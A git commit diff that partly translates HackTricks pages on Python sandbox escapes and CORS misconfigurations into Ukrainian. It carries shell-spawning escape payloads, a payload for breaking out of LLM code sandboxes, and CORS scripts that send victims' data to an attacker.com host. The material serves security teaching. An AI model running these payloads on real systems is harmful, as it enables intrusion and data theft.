Translated ['generic-methodologies-and-resources/python/bypass-python-sa

This commit is contained in:
Translator 2024-11-12 10:22:24 +00:00
parent 54971284d0
commit 0c5740855f
3 changed files with 105 additions and 86 deletions

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
@ -23,8 +23,6 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Це деякі трюки для обходу захисту пісочниць Python і виконання довільних команд.
## Бібліотеки виконання команд
@ -65,14 +63,14 @@ system('ls')
Пам'ятайте, що функції _**open**_ та _**read**_ можуть бути корисними для **читання файлів** всередині пісочниці python та для **написання коду**, який ви могли б **виконати** для **обходу** пісочниці.
{% hint style="danger" %}
**Python2 input()** функція дозволяє виконувати python код перед тим, як програма зламається.
Функція **Python2 input()** дозволяє виконувати python код перед тим, як програма зламається.
{% endhint %}
Python намагається **завантажити бібліотеки з поточної директорії спочатку** (наступна команда виведе, звідки python завантажує модулі): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (559).png>)
## Обхід пісочниці pickle за допомогою стандартно встановлених python пакетів
## Обхід пісочниці pickle за допомогою стандартних встановлених пакетів python
### Стандартні пакети
@ -93,7 +91,7 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Для отримання додаткової інформації про те, як працює pickle, перегляньте це: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Пакет Pip
### Pip пакет
Трюк, поділений **@isHaacK**
@ -160,7 +158,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Bypassing protections through encodings (UTF-7)
## Обхід захисту через кодування (UTF-7)
У [**цьому звіті**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 використовується для завантаження та виконання довільного python коду всередині очевидного пісочниці:
```python
@ -259,7 +257,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### Створення об'єктів з [метакласами](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Ключова річ, яку дозволяють робити метакласи, це **створити екземпляр класу, не викликаючи конструктор** безпосередньо, створюючи новий клас з цільовим класом як метаклас.
Ключова річ, яку дозволяють нам метакласи, це **створити екземпляр класу, не викликаючи конструктор** безпосередньо, створюючи новий клас з цільовим класом як метакласом.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -339,10 +337,10 @@ __builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
Коли у вас немає `__builtins__`, ви не зможете імпортувати нічого, навіть читати або записувати файли, оскільки **всі глобальні функції** (як-от `open`, `import`, `print`...) **не завантажені**.\
Однак, **за замовчуванням python імпортує багато модулів в пам'ять**. Ці модулі можуть здаватися безпечними, але деякі з них **також імпортують небезпечні** функціональності всередині, до яких можна отримати доступ для отримання навіть **произвольного виконання коду**.
Коли у вас немає `__builtins__`, ви не зможете імпортувати нічого, а також не зможете читати або записувати файли, оскільки **всі глобальні функції** (як-от `open`, `import`, `print`...) **не завантажені**.\
Однак, **за замовчуванням python імпортує багато модулів в пам'ять**. Ці модулі можуть здаватися безпечними, але деякі з них **також імпортують небезпечні** функціональності всередині, до яких можна отримати доступ для отримання навіть **випадкового виконання коду**.
У наступних прикладах ви можете спостерігати, як **зловживати** деякими з цих "**безпечних**" модулів, щоб **отримати доступ** до **небезпечних** **функціональностей** всередині них.
У наступних прикладах ви можете спостерігати, як **зловживати** деякими з цих "**безпечних**" модулів, завантажених для **доступу** до **небезпечних** **функціональностей** всередині них.
**Python2**
```python
@ -462,9 +460,9 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### Знаходження небезпечних бібліотек, що завантажуються
### Знаходження небезпечних бібліотек
Наприклад, знаючи, що з бібліотекою **`sys`** можливо **імпортувати довільні бібліотеки**, ви можете шукати всі **модулі, що завантажені і містять імпорт sys всередині них**:
Наприклад, знаючи, що з бібліотекою **`sys`** можливо **імпортувати довільні бібліотеки**, ви можете шукати всі **модулі, які завантажили sys всередині них**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -527,7 +525,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Більше того, якщо ви вважаєте, що **інші бібліотеки** можуть **викликати функції для виконання команд**, ми також можемо **фільтрувати за іменами функцій** всередині можливих бібліотек:
Крім того, якщо ви вважаєте, що **інші бібліотеки** можуть **викликати функції для виконання команд**, ми також можемо **фільтрувати за іменами функцій** всередині можливих бібліотек:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -563,7 +561,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## Рекурсивний пошук в Builtins, Globals...
{% hint style="warning" %}
Це просто **чудово**. Якщо ви **шукаєте об'єкт, такий як globals, builtins, open або будь-що інше**, просто використовуйте цей скрипт, щоб **рекурсивно знайти місця, де ви можете знайти цей об'єкт.**
Це просто **чудово**. Якщо ви **шукаєте об'єкт, наприклад globals, builtins, open або будь-що інше**, просто використовуйте цей скрипт, щоб **рекурсивно знайти місця, де ви можете знайти цей об'єкт.**
{% endhint %}
```python
import os, sys # Import these to find more gadgets
@ -731,7 +729,7 @@ return 'HAL 9000'
**Більше прикладів** про **формат** **рядків** можна знайти на [**https://pyformat.info/**](https://pyformat.info)
{% hint style="danger" %}
Перевірте також наступну сторінку для гаджетів, які зможуть r**ead чутливу інформацію з внутрішніх об'єктів Python**:
Перевірте також наступну сторінку на наявність гаджетів, які зможуть r**ead sensitive information from Python internal objects**:
{% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %}
@ -754,18 +752,22 @@ secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless
```
### Від формату до RCE завантаження бібліотек
### LLM Jails bypass
Згідно з [**TypeMonkey chall з цього опису**](https://corgi.rip/posts/buckeye-writeups/), можливо завантажувати довільні бібліотеки з диска, зловживаючи вразливістю форматного рядка в python.
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
Нагадаємо, що кожного разу, коли виконується дія в python, виконується якась функція. Наприклад, `2*3` виконає **`(2).mul(3)`** або **`{'a':'b'}['a']`** буде **`{'a':'b'}.__getitem__('a')`**.
### From format to RCE loading libraries
Ви можете знайти більше подібного в розділі [**Виконання Python без викликів**](./#python-execution-without-calls).
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
Вразливість форматного рядка python не дозволяє виконувати функцію (вона не дозволяє використовувати дужки), тому неможливо отримати RCE, як `'{0.system("/bin/sh")}'.format(os)`.\
Однак, можливо використовувати `[]`. Тому, якщо звичайна бібліотека python має метод **`__getitem__`** або **`__getattr__**, який виконує довільний код, їх можна зловживати для отримання RCE.
As reminder, every time an action is performed in python some function is executed. For example `2*3` will execute **`(2).mul(3)`** or **`{'a':'b'}['a']`** will be **`{'a':'b'}.__getitem__('a')`**.
Шукаючи такий гаджет в python, опис пропонує цей [**запит на Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Де він знайшов цей [один](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
You have more like this in the section [**Python execution without calls**](./#python-execution-without-calls).
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE.
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -799,7 +801,7 @@ pydll = LibraryLoader(PyDLL)
Якщо ви хочете **вивчити** **байт-код Python** детально, прочитайте цей **чудовий** пост на цю тему: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
В деяких CTF вам можуть надати назву **кастомної функції, де знаходиться прапор**, і вам потрібно буде переглянути **внутрішню структуру** **функції**, щоб витягти його.
У деяких CTF вам можуть надати назву **кастомної функції, де знаходиться прапор**, і вам потрібно буде переглянути **внутрішні** частини **функції**, щоб витягти його.
Це функція для перевірки:
```python
@ -1007,10 +1009,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
В попередніх прикладах на початку цього посту ви можете побачити **як виконати будь-який python код, використовуючи функцію `compile`**. Це цікаво, оскільки ви можете **виконувати цілі скрипти** з циклами і всім іншим в **одному рядку** (і ми могли б зробити те ж саме, використовуючи **`exec`**).\
У будь-якому випадку, іноді може бути корисно **створити** **скомпільований об'єкт** на локальному комп'ютері та виконати його на **CTF машині** (наприклад, тому що у нас немає функції `compiled` в CTF).
In previous examples at the beginning of this post, you can see **як виконати будь-який python код, використовуючи функцію `compile`**. This is interesting because you can **виконати цілі скрипти** з циклами і всім іншим в **одному рядку** (and we could do the same using **`exec`**).\
Anyway, sometimes it could be useful to **створити** **скомпільований об'єкт** на локальному комп'ютері і виконати його на **CTF машині** (for example because we don't have the `compiled` function in the CTF).
Наприклад, давайте скомпілюємо та виконаємо вручну функцію, яка читає _./poc.py_:
For example, let's compile and execute manually a function that reads _./poc.py_:
```python
#Locally
def read():
@ -1037,7 +1039,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Якщо ви не можете отримати доступ до `eval` або `exec`, ви можете створити **правильну функцію**, але прямий виклик зазвичай завершиться невдачею з повідомленням: онструктор недоступний у обмеженому режимі_. Тому вам потрібна **функція, яка не знаходиться в обмеженому середовищі, щоб викликати цю функцію.**
Якщо ви не можете отримати доступ до `eval` або `exec`, ви можете створити **правильну функцію**, але прямий виклик зазвичай завершиться невдачею з повідомленням: онструктор недоступний в обмеженому режимі_. Тому вам потрібна **функція, яка не знаходиться в обмеженому середовищі, щоб викликати цю функцію.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1055,12 +1057,12 @@ f(42)
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
{% endcontent-ref %}
## Різний Python
## Різне Python
### Assert
Python, виконуваний з оптимізаціями з параметром `-O`, видалить оператори assert та будь-який код, що залежить від значення **debug**.\
Отже, перевірки, такі як
Тому перевірки, такі як
```python
def check_permission(super_user):
try:
@ -1080,7 +1082,7 @@ print(f"\nNot a Super User!!!\n")
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
@ -1098,7 +1100,7 @@ print(f"\nNot a Super User!!!\n")
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,16 +1,16 @@
# CORS - Неправильні налаштування та обхід
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
@ -21,26 +21,26 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
## Що таке CORS?
Стандарт Cross-Origin Resource Sharing (CORS) **дозволяє серверам визначати, хто може отримати доступ до їхніх ресурсів** та **які методи HTTP запитів дозволені** з зовнішніх джерел.
Стандарт Cross-Origin Resource Sharing (CORS) **дозволяє серверам визначати, хто може отримати доступ до їхніх ресурсів** та **які HTTP методи запитів дозволені** з зовнішніх джерел.
Політика **одного походження** вимагає, щоб **сервер, що запитує** ресурс, і сервер, що хостить **ресурс**, використовували один і той же протокол (наприклад, `http://`), доменне ім'я (наприклад, `internal-web.com`) та **порт** (наприклад, 80). Згідно з цією політикою, лише веб-сторінки з одного й того ж домену та порту мають доступ до ресурсів.
Політика **одного походження** вимагає, щоб **сервер, що запитує** ресурс, та сервер, що хостить **ресурс**, використовували один і той же протокол (наприклад, `http://`), доменне ім'я (наприклад, `internal-web.com`) та **порт** (наприклад, 80). Згідно з цією політикою, лише веб-сторінки з одного й того ж домену та порту мають доступ до ресурсів.
Застосування політики одного походження в контексті `http://normal-website.com/example/example.html` ілюструється наступним чином:
| URL, до якого звертаються | Доступ дозволено? |
| ---------------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Так: Ідентична схема, домен і порт |
| `http://normal-website.com/example2/` | Так: Ідентична схема, домен і порт |
| `https://normal-website.com/example/` | Ні: Різна схема і порт |
| `http://en.normal-website.com/example/` | Ні: Різне доменне ім'я |
| `http://www.normal-website.com/example/` | Ні: Різне доменне ім'я |
| `http://normal-website.com:8080/example/` | Ні: Різний порт\* |
| URL, до якого звертаються | Доступ дозволено? |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Так: Ідентична схема, домен та порт |
| `http://normal-website.com/example2/` | Так: Ідентична схема, домен та порт |
| `https://normal-website.com/example/` | Ні: Різна схема та порт |
| `http://en.normal-website.com/example/` | Ні: Різне доменне ім'я |
| `http://www.normal-website.com/example/` | Ні: Різне доменне ім'я |
| `http://normal-website.com:8080/example/` | Ні: Різний порт\* |
\*Internet Explorer ігнорує номер порту при застосуванні політики одного походження, що дозволяє цей доступ.
\*Internet Explorer ігнорує номер порту при застосуванні політики одного походження, дозволяючи цей доступ.
### Заголовок `Access-Control-Allow-Origin`
Цей заголовок може дозволяти **декілька походжень**, значення **`null`** або підстановочний знак **`*`**. Однак, **жоден браузер не підтримує декілька походжень**, а використання підстановочного знака `*` підлягає **обмеженням**. (Підстановковий знак повинен використовуватися самостійно, а його використання разом з `Access-Control-Allow-Credentials: true` не дозволяється.)
Цей заголовок може дозволяти **декілька походжень**, значення **`null`** або підстановочний знак **`*`**. Однак **жоден браузер не підтримує декілька походжень**, а використання підстановочного знака `*` підлягає **обмеженням**. (Підстановковий знак повинен використовуватися самостійно, а його використання разом з `Access-Control-Allow-Credentials: true` не дозволено.)
Цей заголовок **видається сервером** у відповідь на запит ресурсу з іншого домену, ініційований веб-сайтом, при цьому браузер автоматично додає заголовок `Origin`.
@ -77,13 +77,13 @@ xhr.send('<person><name>Arun</name></person>');
```
### CSRF Pre-flight request
### Understanding Pre-flight Requests in Cross-Domain Communication
### Розуміння попередніх запитів у міждоменному спілкуванні
Коли ініціюється запит між доменами за певних умов, таких як використання **нестандартного HTTP методу** (будь-якого, окрім HEAD, GET, POST), введення нових **заголовків** або використання спеціального **значення заголовка Content-Type**, може знадобитися попередній запит. Цей попередній запит, що використовує метод **`OPTIONS`**, служить для інформування сервера про наміри майбутнього запиту з іншого походження, включаючи HTTP методи та заголовки, які він має намір використовувати.
Коли ініціюється міждоменний запит за певних умов, таких як використання **нестандартного HTTP методу** (будь-якого, окрім HEAD, GET, POST), введення нових **заголовків** або використання спеціального **значення заголовка Content-Type**, може знадобитися попередній запит. Цей попередній запит, що використовує метод **`OPTIONS`**, служить для інформування сервера про наміри майбутнього міждоменного запиту, включаючи HTTP методи та заголовки, які він має намір використовувати.
Протокол **Cross-Origin Resource Sharing (CORS)** вимагає цього попереднього перевірки, щоб визначити можливість запитуваної операції з іншого походження, перевіряючи дозволені методи, заголовки та надійність походження. Для детального розуміння умов, які обходять необхідність попереднього запиту, зверніться до всебічного посібника, наданого [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
Протокол **Cross-Origin Resource Sharing (CORS)** вимагає цього попереднього перевірки, щоб визначити можливість запитуваної міждоменної операції, перевіряючи дозволені методи, заголовки та надійність походження. Для детального розуміння умов, які обходять необхідність попереднього запиту, зверніться до всебічного посібника, наданого [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
Важливо зазначити, що **відсутність попереднього запиту не скасовує вимогу, щоб відповідь містила заголовки авторизації**. Без цих заголовків браузер не здатний обробити відповідь на запит з іншого походження.
Важливо зазначити, що **відсутність попереднього запиту не скасовує вимогу, щоб відповідь містила заголовки авторизації**. Без цих заголовків браузер не здатний обробити відповідь на міждоменний запит.
Розгляньте наступну ілюстрацію попереднього запиту, спрямованого на використання методу `PUT` разом із користувацьким заголовком під назвою `Special-Request-Header`:
```
@ -105,7 +105,7 @@ Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: Цей заголовок вказує, які заголовки можуть бути використані під час фактичного запиту. Він встановлюється сервером, щоб вказати дозволені заголовки в запитах від клієнта.
* **`Access-Control-Expose-Headers`**: Через цей заголовок сервер інформує клієнта про те, які заголовки можуть бути відкриті як частина відповіді, крім простих заголовків відповіді.
* **`Access-Control-Expose-Headers`**: Через цей заголовок сервер інформує клієнта про те, які заголовки можуть бути відкриті як частина відповіді, окрім простих заголовків відповіді.
* **`Access-Control-Max-Age`**: Цей заголовок вказує, як довго результати попереднього запиту можуть бути кешовані. Сервер встановлює максимальний час, в секундах, протягом якого інформація, повернена попереднім запитом, може бути повторно використана.
* **`Access-Control-Request-Headers`**: Використовується в попередніх запитах, цей заголовок встановлюється клієнтом, щоб проінформувати сервер про те, які HTTP заголовки клієнт хоче використовувати в фактичному запиті.
* **`Access-Control-Request-Method`**: Цей заголовок, також використовується в попередніх запитах, встановлюється клієнтом, щоб вказати, який HTTP метод буде використано в фактичному запиті.
@ -119,7 +119,7 @@ Access-Control-Max-Age: 240
1. **`Access-Control-Request-Local-Network`**: Цей заголовок включається в запит клієнта, щоб вказати, що запит спрямований на ресурс локальної мережі. Він слугує маркером, щоб проінформувати сервер, що запит походить з локальної мережі.
2. **`Access-Control-Allow-Local-Network`**: У відповідь сервери використовують цей заголовок, щоб повідомити, що запитуваний ресурс дозволено ділитися з суб'єктами за межами локальної мережі. Він діє як зелена лампочка для обміну ресурсами через різні мережеві межі, забезпечуючи контрольований доступ при дотриманні протоколів безпеки.
**Дійсна відповідь, що дозволяє запит локальної мережі**, повинна також містити в відповіді заголовок `Access-Controls-Allow-Local_network: true`:
**Дійсна відповідь, що дозволяє запит локальної мережі**, також повинна містити в відповіді заголовок `Access-Controls-Allow-Local_network: true`:
```
HTTP/1.1 200 OK
...
@ -133,7 +133,7 @@ Content-Length: 0
{% hint style="warning" %}
Зверніть увагу, що IP-адреса linux **0.0.0.0** працює для **обходу** цих вимог для доступу до localhost, оскільки ця IP-адреса не вважається "локальною".
Також можливо **обійти вимоги локальної мережі**, якщо ви використовуєте **публічну IP-адресу локальної точки доступу** (наприклад, публічну IP-адресу маршрутизатора). Оскільки в кількох випадках, навіть якщо **публічна IP** доступна, якщо це **з локальної мережі**, доступ буде надано.
Також можливо **обійти вимоги локальної мережі**, якщо ви використовуєте **публічну IP-адресу локальної точки доступу** (наприклад, публічну IP-адресу маршрутизатора). Тому в кількох випадках, навіть якщо **публічна IP** доступна, якщо це **з локальної мережі**, доступ буде надано.
{% endhint %}
### Wildcards
@ -147,7 +147,7 @@ Access-Control-Allow-Credentials: true
## Вразливі неправильні налаштування
Було помічено, що налаштування `Access-Control-Allow-Credentials` на **`true`** є передумовою для більшості **реальних атак**. Це налаштування дозволяє браузеру надсилати облікові дані та читати відповідь, підвищуючи ефективність атаки. Без цього перевага від того, що браузер робить запит, замість того, щоб робити це самому, зменшується, оскільки використання куків користувача стає неможливим.
Було помічено, що налаштування `Access-Control-Allow-Credentials` на **`true`** є передумовою для більшості **реальних атак**. Це налаштування дозволяє браузеру надсилати облікові дані та читати відповідь, підвищуючи ефективність атаки. Без цього перевага від того, що браузер робить запит, а не ви самі, зменшується, оскільки використання куків користувача стає неможливим.
### Виняток: Використання мережевої локації як аутентифікації
@ -155,7 +155,7 @@ Access-Control-Allow-Credentials: true
### Відображення `Origin` в `Access-Control-Allow-Origin`
Сценарій у реальному світі, де значення заголовка `Origin` відображається в `Access-Control-Allow-Origin`, теоретично малоймовірний через обмеження на поєднання цих заголовків. Однак розробники, які прагнуть увімкнути CORS для кількох URL, можуть динамічно генерувати заголовок `Access-Control-Allow-Origin`, копіюючи значення заголовка `Origin`. Цей підхід може ввести вразливості, особливо коли зловмисник використовує домен з назвою, що виглядає легітимно, обманюючи логіку валідації.
Сценарій з реального життя, де значення заголовка `Origin` відображається в `Access-Control-Allow-Origin`, теоретично малоймовірний через обмеження на поєднання цих заголовків. Однак розробники, які прагнуть увімкнути CORS для кількох URL, можуть динамічно генерувати заголовок `Access-Control-Allow-Origin`, копіюючи значення заголовка `Origin`. Цей підхід може ввести вразливості, особливо коли зловмисник використовує домен з назвою, що виглядає легітимно, обманюючи логіку валідації.
```html
<script>
var req = new XMLHttpRequest();
@ -170,7 +170,7 @@ location='/log?key='+this.responseText;
```
### Використання `null` походження
`null` походження, вказане для ситуацій, таких як перенаправлення або локальні HTML файли, займає унікальну позицію. Деякі програми включають це походження в білий список для полегшення локальної розробки, ненавмисно дозволяючи будь-якому веб-сайту імітувати `null` походження через пісочницю iframe, таким чином обходячи обмеження CORS.
`null` походження, вказане для ситуацій, таких як редиректи або локальні HTML файли, займає унікальну позицію. Деякі програми включають це походження в білий список для полегшення локальної розробки, ненавмисно дозволяючи будь-якому веб-сайту імітувати `null` походження через пісочницю iframe, таким чином обходячи обмеження CORS.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
@ -198,11 +198,11 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
```
### Техніки обходу регулярних виразів
Коли ви стикаєтеся з білим списком доменів, важливо перевірити можливості обходу, такі як додавання домену зловмисника до домену з білого списку або використання вразливостей захоплення піддоменів. Крім того, регулярні вирази, що використовуються для валідації доменів, можуть не враховувати нюанси в назвах доменів, що створює додаткові можливості для обходу.
Коли ви стикаєтеся зі списком дозволених доменів, важливо перевірити можливості обходу, такі як додавання домену зловмисника до дозволеного домену або використання вразливостей захоплення піддоменів. Крім того, регулярні вирази, що використовуються для валідації доменів, можуть не враховувати нюанси в назвах доменів, що створює додаткові можливості для обходу.
### Розширені обходи регулярних виразів
Шаблони Regex зазвичай зосереджуються на алфавітно-цифрових, крапкових (.) та дефісних (-) символах, ігноруючи інші можливості. Наприклад, доменне ім'я, створене з використанням символів, які браузери та шаблони regex інтерпретують по-різному, може обійти перевірки безпеки. Обробка символів підкреслення в піддоменах браузерами Safari, Chrome та Firefox ілюструє, як такі розбіжності можуть бути використані для обходу логіки валідації доменів.
